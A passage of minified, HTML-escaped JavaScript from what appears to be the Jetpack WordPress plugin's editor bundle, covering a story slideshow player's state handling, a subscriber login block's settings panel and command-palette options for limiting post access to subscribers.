b({id:e,slides:t,metadata:s,disabled:r}){const{setFullscreen:l,setEnded:u,setPlaying:b,setMuted:v,showSlide:k}=(0,a.useDispatch)(&quot;jetpack/story/player&quot;),{playing:y,muted:x,currentSlideIndex:j,currentSlideEnded:w,ended:_,fullscreen:C,settings:A}=(0,a.useSelect)(t=&gt;{const{getCurrentSlideIndex:s,getSettings:r,hasCurrentSlideEnded:n,hasEnded:o,isFullscreen:a,isMuted:i,isPlaying:l}=t(&quot;jetpack/story/player&quot;);return{playing:l(e),muted:i(e),currentSlideIndex:s(e),currentSlideEnded:n(e),ended:o(e),fullscreen:a(e),settings:r(e)}},[e]),S=(0,i.useRef)(void 0),[E,N]=(0,i.useState)(null),T=(0,o.useResizeObserver)(e=&gt;{const t=e[0]?.contentRect.width;t&amp;&amp;N(t)},{box:&quot;border-box&quot;}),[B,P]=(0,i.useState)(A.defaultAspectRatio),I=t.some(e=&gt;(0,n.isBlobURL)(e.url)),M=t=&gt;{k(e,t)},L=(0,i.useCallback)(()=&gt;{r||C||A.playInFullscreen&amp;&amp;!y&amp;&amp;b(e,!0)},[y,r,C]),{onTouchStart:R,onTouchEnd:D}=(0,p.A)(t=&gt;{b(e,!t)},[]),F=(0,i.useCallback)(()=&gt;{j&gt;0&amp;&amp;M(j-1)},[j]),O=(0,i.useCallback)(()=&gt;{j&lt;t.length-1?M(j+1):u(e)},[j,t]),z=(0,i.useCallback)(()=&gt;{l(e,!1)},[]);let U,H;return(0,i.useEffect)(()=&gt;{r&amp;&amp;y&amp;&amp;b(e,!1)},[r,y]),(0,i.useEffect)(()=&gt;{y&amp;&amp;w&amp;&amp;O()},[y,w]),(0,i.useLayoutEffect)(()=&gt;{const e=S?.current.offsetHeight;if(!S.current||!A.defaultAspectRatio||e&lt;=0)return;T(S.current);let t=Math.round(A.defaultAspectRatio*e);if(C){const e=S.current.offsetWidth;t=Math.abs(1-t/e)&lt;A.cropUpTo?e:t}N(t),P(t/e)},[T,C]),U=C?[__(&quot;You are currently playing a story.&quot;,&quot;jetpack&quot;),y?__(&quot;Press space to pause.&quot;,&quot;jetpack&quot;):__(&quot;Press space to play.&quot;,&quot;jetpack&quot;,0),__(&quot;Press escape to exit.&quot;,&quot;jetpack&quot;)].join(&quot; &quot;):__(&quot;Play story&quot;,&quot;jetpack&quot;),H=r?&quot;presentation&quot;:C?&quot;dialog&quot;:&quot;button&quot;,(0,g.jsxs)(&quot;div&quot;,{className:&quot;wp-story-display-contents&quot;,children:[(0,g.jsxs)(&quot;div&quot;,{role:H,&quot;aria-label&quot;:U,tabIndex:C?-1:0,className:(0,c.A)(&quot;wp-story-container&quot;,{&quot;wp-story-with-controls&quot;:!r&amp;&amp;!C&amp;&amp;!A.playInFullscreen,&quot;wp-story-fullscreen&quot;:C,&quot;wp-story-ended&quot;:_,&quot;wp-story-disabled&quot;:r,&quot;wp-story-clickable&quot;:!r&amp;&amp;!C}),style:{maxWidth:`${E}px`},onClick:L,onTouchStart:R,onTouchEnd:D,children:[(0,g.jsx)(d.Y9,{...s,fullscreen:C,onExitFullscreen:z}),(0,g.jsx)(&quot;div&quot;,{ref:S,className:&quot;wp-story-wrapper&quot;,children:t.map((t,s)=&gt;(0,g.jsx)(m.A,{playerId:e,media:t,index:s,playing:!r&amp;&amp;y,uploading:I,settings:A,targetAspectRatio:B},s))}),(0,g.jsx)(d.hJ,{icon:f,slideCount:t.length,showSlideCount:A.showSlideCount,ended:_,hasPrevious:j&gt;0,onPreviousSlide:F,onNextSlide:O}),A.showProgressBar&amp;&amp;(0,g.jsx)(h.Ay,{playerId:e,slides:t,disabled:!C,onSlideSeek:M,maxBullets:C?A.maxBulletsFullscreen:A.maxBullets}),(0,g.jsx)(d.H2,{playing:y,muted:x,onPlayPressed:()=&gt;b(e,!y),onMutePressed:()=&gt;v(e,!x),showMute:(e=&gt;{const s=e&lt;t.length?t[e]:null;return!!s&amp;&amp;(&quot;video&quot;===s.type||(s.mime||&quot;&quot;).startsWith(&quot;video/&quot;))})(j)})]}),C&amp;&amp;(0,g.jsx)(d.VS,{currentMedia:A.blurredBackground&amp;&amp;t.length&gt;j&amp;&amp;t[j]})]})}},65489(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;i});var r=s(47143),n=s(84545),o=s(10790);const a=({bulletIndex:e,playerId:t,index:s,disabled:a,isSelected:i,onClick:l})=&gt;{const c=(0,r.useSelect)(e=&gt;e(&quot;jetpack/story/player&quot;).getCurrentSlideProgressPercentage(t),[t]);return(0,o.jsx)(n.Dv,{index:s,progress:c,disabled:a,isSelected:i,onClick:l},`bullet-${e}`)},i=({playerId:e,slides:t,disabled:s,onSlideSeek:i,maxBullets:l})=&gt;{const{currentSlideIndex:c}=(0,r.useSelect)(t=&gt;({currentSlideIndex:t(&quot;jetpack/story/player&quot;).getCurrentSlideIndex(e)}),[e]),u=Math.min(t.length,l),d=Math.floor(u/2);let p,h=0,m=t.length-1;return t.length&lt;=l||c&lt;d?(p=c,m=u-1):c&gt;=t.length-d?(p=c-t.length+u,h=t.length-u):(p=d,h=c-d,m=c+d),(0,o.jsxs)(&quot;div&quot;,{className:&quot;wp-story-pagination wp-story-pagination-bullets&quot;,role:&quot;tablist&quot;,children:[h&gt;0&amp;&amp;(0,o.jsx)(n.Dv,{index:h-1,progress:100,isEllipsis:!0},&quot;bullet-0&quot;),Array.from(Array(u),(e,t)=&gt;t+1).map((t,r)=&gt;{const l=r+h;let u=null;if(l&lt;c)u=100;else{if(!(l&gt;c))return(0,o.jsx)(a,{playerId:e,bulletIndex:r,index:l,disabled:s,isSelected:p===r,onClick:()=&gt;i(l)},`bullet-${r}`);u=0}return(0,o.jsx)(n.Dv,{index:l,progress:u,disabled:s,isSelected:p===r,onClick:()=&gt;i(l)},`bullet-${r}`)}),m&lt;t.length-1&amp;&amp;(0,o.jsx)(n.Dv,{index:m+1,progress:0,isEllipsis:!0},`bullet-${u+1}`)]})}},42153(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(47143),n=s(86087),o=s(13022),a=s(84545),i=s(55028),l=s(10790);const c=({playerId:e,media:t,index:s,playing:c,uploading:u,settings:d,targetAspectRatio:p})=&gt;{const{currentSlideIndex:h,buffering:m}=(0,r.useSelect)(t=&gt;({currentSlideIndex:t(&quot;jetpack/story/player&quot;).getCurrentSlideIndex(e),buffering:t(&quot;jetpack/story/player&quot;).isBuffering(e)}),[e]),{slideReady:g}=(0,r.useDispatch)(&quot;jetpack/story/player&quot;),f=s===h,b=(0,n.useRef)(null),[v,k]=(0,n.useState)(!1),[y,x]=(0,n.useState)(!0);return(0,n.useEffect)(()=&gt;{if(f&amp;&amp;!y){const t=b.current&amp;&amp;b.current.src&amp;&amp;&quot;video&quot;===b.current.tagName.toLowerCase()?b.current:null;g(e,b.current,t?t.duration:d.imageTime)}},[f,y]),(0,n.useEffect)(()=&gt;{s&lt;=h+(c?1:0)&amp;&amp;k(!0)},[c,h]),(0,n.useLayoutEffect)(()=&gt;{b.current&amp;&amp;(0,i.A)(b.current).then(()=&gt;{x(!1)})},[v,u]),(0,l.jsxs)(l.Fragment,{children:[f&amp;&amp;(y||u||m)&amp;&amp;(0,l.jsx)(&quot;div&quot;,{className:(0,o.A)(&quot;wp-story-slide&quot;,&quot;is-loading&quot;,{transparent:c&amp;&amp;m,&quot;semi-transparent&quot;:u||!c&amp;&amp;m}),children:(0,l.jsx)(a.xu,{})}),(0,l.jsx)(&quot;div&quot;,{role:&quot;figure&quot;,className:&quot;wp-story-slide&quot;,style:{display:f&amp;&amp;!y?&quot;block&quot;:&quot;none&quot;},tabIndex:f?0:-1,children:v&amp;&amp;(0,l.jsx)(a.$U,{...t,targetAspectRatio:p,cropUpTo:d.cropUpTo,index:s,mediaRef:b})})]})}},87561(e,t,s){&quot;use strict&quot;;function r(e,t){return{type:&quot;SET_MUTED&quot;,value:t,playerId:e}}function n(e,t){return{type:&quot;SET_PLAYING&quot;,value:t,playerId:e}}function o(e,t){return{type:&quot;SHOW_SLIDE&quot;,index:t,playerId:e}}function a(e,t,s){return{type:&quot;SLIDE_READY&quot;,mediaElement:t,duration:s,playerId:e}}function i(e,t){return{type:&quot;SET_CURRENT_SLIDE_PROGRESS&quot;,value:t,playerId:e}}function l(e){return{type:&quot;RESET_CURRENT_SLIDE_PROGRESS&quot;,playerId:e}}function c(e){return{type:&quot;SET_CURRENT_SLIDE_ENDED&quot;,playerId:e}}function u(e,t){return{type:&quot;SET_FULLSCREEN&quot;,playerId:e,fullscreen:t}}function d(e){return{type:&quot;ENDED&quot;,playerId:e}}function p(e,t={}){return{type:&quot;INIT&quot;,playerId:e,settings:t}}function h(e,t){return{type:&quot;SET_BUFFERING&quot;,value:t,playerId:e}}s.r(t),s.d(t,{init:()=&gt;p,resetCurrentSlideProgress:()=&gt;l,setBuffering:()=&gt;h,setCurrentSlideEnded:()=&gt;c,setCurrentSlideProgress:()=&gt;i,setEnded:()=&gt;d,setFullscreen:()=&gt;u,setMuted:()=&gt;r,setPlaying:()=&gt;n,showSlide:()=&gt;o,slideReady:()=&gt;a})},75483(e,t,s){&quot;use strict&quot;;s.d(t,{Tb:()=&gt;r,kD:()=&gt;o,nh:()=&gt;n});const r={currentTime:0,duration:null,timeout:null,lastUpdate:null},n={progress:r,index:0,mediaElement:null,duration:null,ended:!1,ready:!1},o={slideCount:0,currentSlide:n,previousSlide:null,muted:!1,playing:!1,ended:!1,buffering:!1,fullscreen:!1,settings:{imageTime:5,startMuted:!1,playInFullscreen:!0,playOnNextSlide:!0,playOnLoad:!1,exitFullscreenOnEnd:!0,loadInFullscreen:!1,blurredBackground:!0,showSlideCount:!1,showProgressBar:!0,shadowDOM:{enabled:!0,mode:&quot;open&quot;,globalStyleElements:&#039;#jetpack-block-story-css, link[href*=&quot;jetpack/_inc/blocks/story/view.css&quot;]&#039;},defaultAspectRatio:.5625,cropUpTo:.2,volume:.8,maxBullets:7,maxBulletsFullscreen:14}}},24500(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(87561),n=s(79920);const o=e=&gt;e&amp;&amp;e.src&amp;&amp;&quot;video&quot;===e.tagName.toLowerCase();function a(e,t){const{getState:s}=t,r=e.playerId,a=(0,n.getCurrentMediaElement)(s(),r),i=(0,n.getPreviousSlideMediaElement)(s(),r);if(o(i)&amp;&amp;(i.currentTime=0,i.onwaiting=null,i.onplaying=null,i.pause()),!o(a))return;const l=(0,n.isMuted)(s(),r),c=(0,n.isPlaying)(s(),r),u=(0,n.getSettings)(s(),r);l!==a.muted&amp;&amp;(a.muted=l,l||(a.volume=u.volume)),c?a.play():a.pause()}function i(e,t){const{getState:s,dispatch:a}=t,l=e.playerId,c=(0,n.isCurrentSlideReady)(s(),l),u=(0,n.isPlaying)(s(),l),d=(0,n.getCurrentSlideProgress)(s(),l);if(clearTimeout(d.timeout),!u||!c)return void(d.lastUpdate&amp;&amp;a((0,r.setCurrentSlideProgress)(l,{...d,lastUpdate:null})));const p=(0,n.getCurrentMediaElement)(s(),l),h=(0,n.getCurrentMediaDuration)(s(),l),m=d.lastUpdate?Date.now()-d.lastUpdate:100,g=o(p)?p.currentTime:d.currentTime+m/1e3;if(g&gt;=h){a((0,r.setCurrentSlideEnded)(l));const e=(0,n.getSlideCount)(s(),l);return void((0,n.getCurrentSlideIndex)(s(),l)===e-1&amp;&amp;a((0,r.setEnded)(l)))}a((0,r.setCurrentSlideProgress)(l,{timeout:setTimeout(()=&gt;i(e,t),100),lastUpdate:Date.now(),duration:h,currentTime:g}))}const l={SET_PLAYING:[i,a],SLIDE_READY:[function(e,t){const{getState:s,dispatch:a}=t,i=e.playerId,l=(0,n.getCurrentMediaElement)(s(),i);if(!o(l))return;const c=(0,n.getCurrentSlideProgress)(s(),i);0===l.currentTime&amp;&amp;c.currentTime&gt;0&amp;&amp;(l.currentTime=c.currentTime),l.onwaiting=()=&gt;a((0,r.setBuffering)(i,!0)),l.onplaying=()=&gt;a((0,r.setBuffering)(i,!1))},i,a],SET_MUTED:a,SHOW_SLIDE:a}},57418(e,t,s){&quot;use strict&quot;;var r=s(47143),n=s(87561),o=s(74439),a=s(54502),i=s(79920);const l=(0,r.registerStore)(&quot;jetpack/story/player&quot;,{actions:n,reducer:a.A,selectors:i});(0,o.A)(l)},74439(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(32047),n=s.n(r),o=s(24500);function a(e){const t=[n()(o.A)];let s=()=&gt;{throw new Error(&quot;Dispatching while constructing your middleware is not allowed. Other middleware would not be applied to this dispatch.&quot;)},r=[];const a={getState:e.getState,dispatch:(...e)=&gt;s(...e)};return r=t.map(e=&gt;e(a)),s=r.reduceRight((e,t)=&gt;t(e),e.dispatch),e.dispatch=s,e}},54502(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(93764),n=s.n(r),o=s(75483);function a(e=o.kD,t){switch(t.type){case&quot;SHOW_SLIDE&quot;:{const s=e.currentSlide===t.index+1;return{...e,currentSlide:{...o.nh,index:t.index},previousSlide:e.currentSlide,playing:s?e.settings.playOnNextSlide:e.playing}}case&quot;SLIDE_READY&quot;:return{...e,buffering:!1,currentSlide:{...e.currentSlide,mediaElement:t.mediaElement,duration:t.duration,ready:!0},previousSlide:null};case&quot;SET_CURRENT_SLIDE_PROGRESS&quot;:return{...e,currentSlide:{...e.currentSlide,progress:t.value}};case&quot;SET_CURRENT_SLIDE_ENDED&quot;:return{...e,currentSlide:{...e.currentSlide,ended:!0}};case&quot;RESET_CURRENT_SLIDE_PROGRESS&quot;:return{...e,currentSlide:{...e.currentSlide,progress:{...o.Tb}}};case&quot;SET_MUTED&quot;:return{...e,muted:t.value};case&quot;SET_PLAYING&quot;:{const s=t.value&amp;&amp;e.ended;return{...e,playing:t.value,buffering:!!t.value&amp;&amp;e.buffering,fullscreen:!e.playing&amp;&amp;t.value?e.settings.playInFullscreen:e.fullscreen,ended:!s&amp;&amp;e.ended,currentSlide:s?{...o.nh,index:0}:e.currentSlide,previousSlide:s?null:e.previousSlide}}case&quot;SET_BUFFERING&quot;:return{...e,buffering:t.value};case&quot;SET_FULLSCREEN&quot;:return{...e,fullscreen:t.fullscreen,playing:!(e.fullscreen&amp;&amp;!t.fullscreen&amp;&amp;e.settings.playInFullscreen)&amp;&amp;e.playing};case&quot;INIT&quot;:{const s=n()(e.settings,t.settings);return{...e,settings:s,playing:s.playOnLoad,fullscreen:s.loadInFullscreen}}case&quot;ENDED&quot;:return{...e,currentSlide:{...o.nh,index:e.settings.slideCount-1,progress:{...o.Tb,currentTime:100,duration:100}},ended:!0,playing:!1,fullscreen:!e.settings.exitFullscreenOnEnd}}return e}function i(e={},t){return t.playerId?{...e,[t.playerId]:a(e[t.playerId],t)}:e}},79920(e,t,s){&quot;use strict&quot;;function r(e,t){return!!e[t]}function n(e,t){return e[t].currentSlide.index}function o(e,t){return e[t].currentSlide.progress}function a(e,t){const s=e[t].currentSlide.progress.currentTime,r=e[t].currentSlide.progress.duration,n=Math.round(100*s/r);return n&gt;=100?100:n}function i(e,t){return e[t].playing}function l(e,t){return e[t].muted}function c(e,t){return e[t].buffering}function u(e,t){return e[t].currentSlide.mediaElement}function d(e,t){return e[t].currentSlide.duration}function p(e,t){return e[t].currentSlide.ended}function h(e,t){return e[t].currentSlide.ready}function m(e,t){return e[t].previousSlide?.mediaElement}function g(e,t){return e[t].fullscreen}function f(e,t){return e[t].ended}function b(e,t){return e[t].settings}function v(e,t){return e[t].settings.slideCount}s.r(t),s.d(t,{getCurrentMediaDuration:()=&gt;d,getCurrentMediaElement:()=&gt;u,getCurrentSlideIndex:()=&gt;n,getCurrentSlideProgress:()=&gt;o,getCurrentSlideProgressPercentage:()=&gt;a,getPreviousSlideMediaElement:()=&gt;m,getSettings:()=&gt;b,getSlideCount:()=&gt;v,hasCurrentSlideEnded:()=&gt;p,hasEnded:()=&gt;f,isBuffering:()=&gt;c,isCurrentSlideReady:()=&gt;h,isFullscreen:()=&gt;g,isMuted:()=&gt;l,isPlayerReady:()=&gt;r,isPlaying:()=&gt;i})},22711(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);const a=()=&gt;{const e=r.useBlockProps.save();return(0,o.jsx)(&quot;div&quot;,{...e,className:(0,n.A)(&quot;wp-story&quot;,e.className)})}},12885(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(56427),o=s(29491),a=s(27723),i=s(78218),l=s(11380),c=s(10790);const __=a.__;const u=function({attributes:e,setAttributes:t}){const s=(0,o.useInstanceId)(n.TextControl,&quot;inspector-text-control&quot;),a=(0,o.useInstanceId)(n.TextControl,&quot;inspector-text-control&quot;),u=(0,o.useInstanceId)(n.TextControl,&quot;inspector-text-control&quot;),d=(0,r.useBlockProps)(),p=(0,i.y)(l.attributes,e),{redirectToCurrent:h,logInLabel:m,logOutLabel:g,showManageSubscriptionsLink:f,manageSubscriptionsLabel:b}=p;return(0,c.jsxs)(&quot;div&quot;,{...d,children:[(0,c.jsx)(r.InspectorControls,{children:(0,c.jsxs)(n.PanelBody,{title:__(&quot;Settings&quot;,&quot;jetpack&quot;),children:[(0,c.jsx)(n.ToggleControl,{label:__(&quot;Redirect to current URL&quot;,&quot;jetpack&quot;),checked:h,onChange:()=&gt;t({redirectToCurrent:!h}),__nextHasNoMarginBottom:!0}),(0,c.jsx)(n.BaseControl,{label:__(&quot;Log in label&quot;,&quot;jetpack&quot;),id:s,__nextHasNoMarginBottom:!0,children:(0,c.jsx)(n.TextControl,{placeholder:__(&quot;Log in&quot;,&quot;jetpack&quot;),onChange:e=&gt;t({logInLabel:e}),value:m,id:s,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})}),(0,c.jsx)(n.BaseControl,{label:__(&quot;Log out label&quot;,&quot;jetpack&quot;),id:a,__nextHasNoMarginBottom:!0,children:(0,c.jsx)(n.TextControl,{placeholder:__(&quot;Log out&quot;,&quot;jetpack&quot;),onChange:e=&gt;t({logOutLabel:e}),value:g,id:a,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})}),(0,c.jsx)(n.ToggleControl,{label:__(&#039;Show &quot;Manage subscription&quot; link&#039;,&quot;jetpack&quot;),checked:f,onChange:()=&gt;t({showManageSubscriptionsLink:!f}),__nextHasNoMarginBottom:!0}),f&amp;&amp;(0,c.jsx)(n.BaseControl,{label:__(&quot;Manage subscription label&quot;,&quot;jetpack&quot;),id:u,__nextHasNoMarginBottom:!0,children:(0,c.jsx)(n.TextControl,{placeholder:__(&quot;Manage subscription&quot;,&quot;jetpack&quot;),onChange:e=&gt;t({manageSubscriptionsLabel:e}),value:b,id:u,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})})]})}),(0,c.jsx)(&quot;a&quot;,{href:&quot;#logout-pseudo-link&quot;,children:g||__(&quot;Log out&quot;,&quot;jetpack&quot;)})]})}},94052(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(52619),o=s(94375),a=s(11380),i=s(12885);(0,o.M)(a,{edit:i.A,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/loginout&quot;],transform:({fontSize:e,redirectToCurrent:t})=&gt;(0,r.createBlock)(&quot;jetpack/subscriber-login&quot;,{fontSize:e,redirectToCurrent:t})}],to:[{type:&quot;block&quot;,blocks:[&quot;core/loginout&quot;],transform:({fontSize:e,redirectToCurrent:t})=&gt;(0,r.createBlock)(&quot;core/loginout&quot;,{fontSize:e,redirectToCurrent:t})}]}}),(0,n.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack-subscriber-login-nav-item&quot;,(e,t)=&gt;&quot;core/navigation&quot;===t?{...e,allowedBlocks:[...e.allowedBlocks??[],&quot;jetpack/subscriber-login&quot;]}:e)},63200(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(85985),n=s(94715),o=s(74997),a=s(82165),i=s(56427),l=s(47143),c=s(43656),u=s(86087),d=s(27723),p=s(92634),h=s(49452),m=s(37906),g=s(11354),f=s(64524),b=s(10790);const __=d.__;const v=function(){const e=(0,b.jsxs)(i.SVG,{viewBox:&quot;0 0 24 24&quot;,width:&quot;24&quot;,height:&quot;24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,b.jsx)(i.Path,{d:&quot;M4 16.7134L20 16.7134V15.106H4V16.7134Z&quot;}),(0,b.jsx)(i.Path,{d:&quot;M16 21H20V19.3925H16V21Z&quot;}),(0,b.jsx)(i.Path,{d:&quot;M14 21H10V19.3925H14V21Z&quot;}),(0,b.jsx)(i.Path,{d:&quot;M4 21H8V19.3925H4V21Z&quot;}),(0,b.jsx)(i.Path,{d:&quot;M11.471 6.37162C11.2294 6.55286 11.1538 6.74395 11.1538 6.88519C11.1538 7.02644 11.2294 7.21752 11.471 7.39877C11.7108 7.57865 12.0728 7.70953 12.5 7.70953C13.1349 7.70953 13.7344 7.90158 14.1907 8.24382C14.6451 8.5847 15 9.11491 15 9.77039C15 10.4259 14.6451 10.9561 14.1907 11.297C13.8758 11.5331 13.4928 11.6978 13.0769 11.7771V12.0373C13.0769 12.3788 12.8186 12.6556 12.5 12.6556C12.1814 12.6556 11.9231 12.3788 11.9231 12.0373V11.7771C11.5072 11.6978 11.1242 11.5331 10.8093 11.297C10.3549 10.9561 10 10.4259 10 9.77039C10 9.42893 10.2583 9.15213 10.5769 9.15213C10.8955 9.15213 11.1538 9.42893 11.1538 9.77039C11.1538 9.91163 11.2294 10.1027 11.471 10.284C11.7108 10.4638 12.0728 10.5947 12.5 10.5947C12.9272 10.5947 13.2892 10.4638 13.529 10.284C13.7706 10.1027 13.8462 9.91163 13.8462 9.77039C13.8462 9.62914 13.7706 9.43806 13.529 9.25681C13.2892 9.07693 12.9272 8.94605 12.5 8.94605C11.8651 8.94605 11.2656 8.754 10.8093 8.41176C10.3549 8.07089 10 7.54067 10 6.88519C10 6.22971 10.3549 5.6995 10.8093 5.35863C11.1242 5.12246 11.5072 4.95781 11.9231 4.87844V4.61826C11.9231 4.2768 12.1814 4 12.5 4C12.8186 4 13.0769 4.2768 13.0769 4.61826V4.87844C13.4928 4.95781 13.8758 5.12246 14.1907 5.35863C14.6451 5.6995 15 6.22971 15 6.88519C15 7.22665 14.7417 7.50345 14.4231 7.50345C14.1045 7.50345 13.8462 7.22665 13.8462 6.88519C13.8462 6.74395 13.7706 6.55286 13.529 6.37162C13.2892 6.19174 12.9272 6.06085 12.5 6.06085C12.0728 6.06085 11.7108 6.19174 11.471 6.37162Z&quot;})]}),{tracks:t}=(0,r.st)(),{isLoadingModules:s,isModuleActive:d}=(0,r.q7)(&quot;subscriptions&quot;),{createInfoNotice:v}=(0,l.useDispatch)(&quot;core/notices&quot;),[k,y]=(0,u.useState)(!1),x=(0,g.iF)(),{removeBlock:j,insertBlocks:w}=(0,l.useDispatch)(n.store),{getBlocksByName:_,canRemoveBlock:C,canInsertBlockType:A,getBlockCount:S}=(0,l.useSelect)(n.store),E=f.name,{stripeConnectUrl:N,hasTierPlans:T}=(0,l.useSelect)(e=&gt;{const{getNewsletterTierProducts:t,getConnectUrl:s}=e(&quot;jetpack/membership-products&quot;);return{stripeConnectUrl:s(),hasTierPlans:0!==t()?.length}});function B(e){m.P2.paid_subscribers.key!==e||!N&amp;&amp;T?x(e):y(!0)}function P(){if(_(E).length)return;if(!A(E))return;const e=[(0,o.createBlock)(E)];1===S()&amp;&amp;e.push((0,o.createBlock)(&quot;core/paragraph&quot;)),w(e,1)}return(0,a.useCommandLoader)({name:&quot;jetpack/subscriptions-access&quot;,hook:function(){const{postType:r,isLoading:n}=(0,l.useSelect)(e=&gt;{const{getCurrentPostType:t}=e(c.store);return{postType:t(),isLoading:!e(c.store).hasFinishedResolution(&quot;getCurrentPostType&quot;)||s}},[]);return{commands:(0,u.useMemo)(()=&gt;&quot;post&quot;===r&amp;&amp;d?[{name:&quot;jetpack/subscriptions-access-paid&quot;,label:__(&quot;Limit post access to paid subscribers&quot;,&quot;jetpack&quot;),icon:e,callback:({close:e})=&gt;{t.recordEvent(&quot;jetpack_editor_command_palette_access_paid_click&quot;),P(),B(m.P2.paid_subscribers.key),v(__(&quot;Post limited to paid subscribers only.&quot;,&quot;jetpack&quot;),{id:&quot;jetpack/subscriptions-access-paid/notice&quot;,type:&quot;snackbar&quot;}),e()}},{name:&quot;jetpack/subscriptions-access-subscribers&quot;,label:__(&quot;Limit post access to free subscribers&quot;,&quot;jetpack&quot;),icon:e,callback:({close:e})=&gt;{t.recordEvent(&quot;jetpack_editor_command_palette_access_subscribers_click&quot;),P(),B(m.P2.subscribers.key),v(__(&quot;Post limited to subscribers only.&quot;,&quot;jetpack&quot;),{id:&quot;jetpack/subscriptions-access-subscribers/notice&quot;,type:&quot;snackbar&quot;}),e()}},{name:&quot;jetpack/subscriptions-access-everyone&quot;,label:__(&quot;Make post accessible to everyone&quot;,&quot;jetpack&quot;),searchLabel:__(&quot;Make post accessible to everyone, free and paid subscribers&quot;,&quot;jetpack&quot;),icon:p.A,callback:({close:e})=&gt;{t.recordEvent(&quot;jetpack_editor_command_palette_access_everyone_click&quot;),function(){const e=_(E);if(e.length){const t=e[0];C(t)&amp;&amp;j(t)}}(),B(m.P2.everybody.key),v(__(&quot;Post made accesible to everyone.&quot;,&quot;jetpack&quot;),{id:&quot;jetpack/subscriptions-access-everyone/notice&quot;,type:&quot;snackbar&quot;}),e()}}]:[],[r]),isLoading:n}}}),(0,b.jsx)(h.A,{closeDialog:()=&gt;y(!1),showDialog:k})}},72902(e,t,s){&quot;use strict&quot;;s.d(t,{AU:()=&gt;k,Bs:()=&gt;o,E:()=&gt;g,Fm:()=&gt;f,Hq:()=&gt;h,JD:()=&gt;l,Kn:()=&gt;a,Vy:()=&gt;d,ZS:()=&gt;i,Zi:()=&gt;m,aS:()=&gt;c,oi:()=&gt;p,rE:()=&gt;u,rG:()=&gt;n,re:()=&gt;b,rn:()=&gt;v});var r=s(27723);const __=r.__,n=0,o=50,a=0,i=0,l=15,c=1,u=5,d=50,p=15,h=0,m=50,g=10,f=&quot;16px&quot;,b=__(&quot;Type your email…&quot;,&quot;jetpack&quot;),v=__(&quot;Subscribe&quot;,&quot;jetpack&quot;),k=__(&quot;Success! An email was just sent to confirm your subscription. Please find the email now and click &#039;Confirm&#039; to start subscribing.&quot;,&quot;jetpack&quot;)},33725(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(97999),n=s(85985),o=s(54268),a=s(94715),i=s(56427),l=s(86087),c=s(27723),u=s(57753),d=s(38062),p=s(72902),h=s(10790);const __=c.__,_n=c._n;function m({availableNewsletterCategories:e,areNewsletterCategoriesEnabled:t,buttonBackgroundColor:s,borderColor:m,buttonGradient:g,borderRadius:f,borderWeight:b,buttonOnNewLine:v,emailFieldBackgroundColor:k,fallbackButtonBackgroundColor:y,fallbackTextColor:x,fontSize:j,includeSocialFollowers:w,isGradientAvailable:_,padding:C,preselectNewsletterCategories:A,selectedNewsletterCategoryIds:S,setAttributes:E,setBorderColor:N,setButtonBackgroundColor:T,setTextColor:B,showSubscribersTotal:P,spacing:I,subscriberCount:M,textColor:L,buttonWidth:R,subscribePlaceholder:D=p.re,successMessage:F=p.AU}){const{isModuleActive:O}=(0,n.q7)(&quot;publicize&quot;);return(0,l.useEffect)(()=&gt;{if(e?.length&gt;0&amp;&amp;S?.length&gt;0){const t=e.map(e=&gt;e.id),s=S.filter(e=&gt;t.includes(e));if(s.length!==S.length){const e={selectedNewsletterCategoryIds:s};0===s.length&amp;&amp;(e.preselectNewsletterCategories=!1),E(e)}}},[e,E,S]),(0,h.jsxs)(h.Fragment,{children:[M&gt;0&amp;&amp;(0,h.jsx)(u.A,{children:(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %s is the number of subscribers. The \xA0 non-breaking space is to make sure the last two words are on the same line. */
_n(&quot;&lt;span&gt;%s reader&lt;/span&gt; is subscribed.&quot;,&quot;&lt;span&gt;%s readers&lt;/span&gt; are subscribed.&quot;,M,&quot;jetpack&quot;),(0,o.qe)(M,{numberFormatOptions:{maximumFractionDigits:1}})),{span:(0,h.jsx)(&quot;span&quot;,{style:{fontWeight:&quot;bold&quot;}})})}),_&amp;&amp;(0,h.jsx)(a.__experimentalPanelColorGradientSettings,{title:__(&quot;Color&quot;,&quot;jetpack&quot;),className:&quot;wp-block-jetpack-subscriptions__backgroundpanel&quot;,settings:[{colorValue:s.color,onColorChange:T,gradientValue:g.gradientValue,onGradientChange:g.setGradient,label:__(&quot;Button Background&quot;,&quot;jetpack&quot;)},{colorValue:L.color,onColorChange:B,label:__(&quot;Button Text&quot;,&quot;jetpack&quot;)},{colorValue:m.color,onColorChange:N,label:__(&quot;Border&quot;,&quot;jetpack&quot;)}],initialOpen:!0,children:(0,h.jsx)(a.ContrastChecker,{fontSize:j.size,textColor:L.color,backgroundColor:k.color,fallbackButtonBackgroundColor:y,fallbackTextColor:x})}),!_&amp;&amp;(0,h.jsx)(a.PanelColorSettings,{title:__(&quot;Background Colors&quot;,&quot;jetpack&quot;),className:&quot;wp-block-jetpack-subscriptions__backgroundpanel&quot;,colorSettings:[{value:s.color,onChange:T,label:__(&quot;Button Background Color&quot;,&quot;jetpack&quot;)},{value:L.color,onChange:B,label:__(&quot;Button Text Color&quot;,&quot;jetpack&quot;)},{value:m.color,onColorChange:N,label:__(&quot;Border 